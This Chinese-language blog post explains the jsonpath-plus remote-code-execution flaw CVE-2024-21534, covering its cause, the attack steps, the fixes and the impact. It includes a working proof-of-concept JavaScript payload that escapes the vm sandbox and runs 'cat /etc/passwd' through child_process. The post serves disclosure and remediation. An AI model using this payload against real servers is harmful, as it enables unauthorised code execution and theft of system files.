JSONPath Plus Remote Code Execution (RCE) 漏洞

jsonpath-plus 是一个用于查询和操作 JSON 数据的 JavaScript 库,类似于 XML 的 XPath。在 10.2.0 之前的版本中,存在一个严重的安全漏洞,编号为 CVE-2024-21534,攻击者可以利用此漏洞在服务器上执行任意代码,即远程代码执行(RCE)。

漏洞原理

该漏洞源于 jsonpath-plus 未能充分过滤用户输入,导致攻击者可以通过构造恶意的 JSONPath 表达式来执行任意 JavaScript 代码. jsonpath-plus 内部使用了 Node.js 的 vm 模块,该模块允许在沙箱环境中运行代码。但如果未对输入进行适当的清理,攻击者便可利用 vm 模块执行恶意代码.

即使在 10.0.0 版本之后,jsonpath-plus 尝试修复此漏洞,但仍可以使用不同的Payload绕过。

实际应用例子

假设你有一个在线商店,允许用户使用 JSONPath 查询商品信息。如果你的应用使用了存在漏洞的 jsonpath-plus 版本,攻击者可以构造一个包含恶意 JavaScript 代码的 JSONPath 表达式,例如读取服务器上的敏感文件或执行系统命令[1]。

攻击步骤

  1. 恶意输入构造:攻击者创建一个包含恶意 JavaScript 代码的 JSONPath 表达式。
  2. 注入点 :将恶意 JSONPath 表达式提供给应用程序的端点,该端点使用 jsonpath-plus 处理用户提供的 JSON 数据查询。
  3. 代码执行 :应用程序使用 vm 模块评估表达式,而没有进行适当的清理,导致攻击者的代码在服务器上执行。

PoC Demo

javascript 复制代码
// index.js
const { JSONPath } = require("jsonpath-plus");

const data = {};

// 恶意代码,例如读取 /etc/passwd 文件
const maliciousCode = 'require("child_process").exec("cat /etc/passwd")';

// 构造包含恶意代码的 JSONPath 表达式
const maliciousPath = `$[(this.constructor.constructor("${maliciousCode}")())]`;

// 使用 JSONPath 执行查询
const result = JSONPath({
  json: data,
  path: maliciousPath
});

修复方案

  1. 升级 jsonpath-plus:升级到 10.2.0 或更高版本,该版本已修复此漏洞。
  2. 代码审查:检查代码中是否存在可能重新启用不安全功能的自定义配置,并进行相应调整。
  3. 输入清理:始终确保对用户输入进行适当的清理,以防止注入攻击。

影响

  • 未授权访问:攻击者可以获得对系统的未授权访问。
  • 数据泄露:敏感信息可能被暴露或窃取。
  • 系统入侵:可能导致完整的系统入侵,从而导致服务中断或其他攻击。

其他受影响的应用

IBM App Connect Enterprise 存在由于 jsonpath-plus 导致的多重漏洞。

相关推荐
开心就好20251 小时前
WebView远程调试全景指南:实战对比主流工具优劣与适配场景
后端
用户21411832636021 小时前
AI 一键搞定!中医药科普短视频制作全流程
后端
SimonKing1 小时前
告别传统读写!RandomAccessFile让你的Java程序快人一步
java·后端·程序员
蓝倾3 小时前
如何使用Python通过API接口批量抓取小红书笔记评论?
前端·后端·api
aloha_3 小时前
Flowable 引擎在启动时没办法找到AsyncListenableTaskExecutor类型的 bean
后端
保持学习ing3 小时前
day1--项目搭建and内容管理模块
java·数据库·后端·docker·虚拟机
超级小忍3 小时前
服务端向客户端主动推送数据的几种方法(Spring Boot 环境)
java·spring boot·后端
字节跳跃者3 小时前
为什么Java已经不推荐使用Stack了?
javascript·后端
字节跳跃者3 小时前
深入剖析HashMap:理解Hash、底层实现与扩容机制
javascript·后端
程序无bug3 小时前
Spring IoC注解式开发无敌详细(细节丰富)
java·后端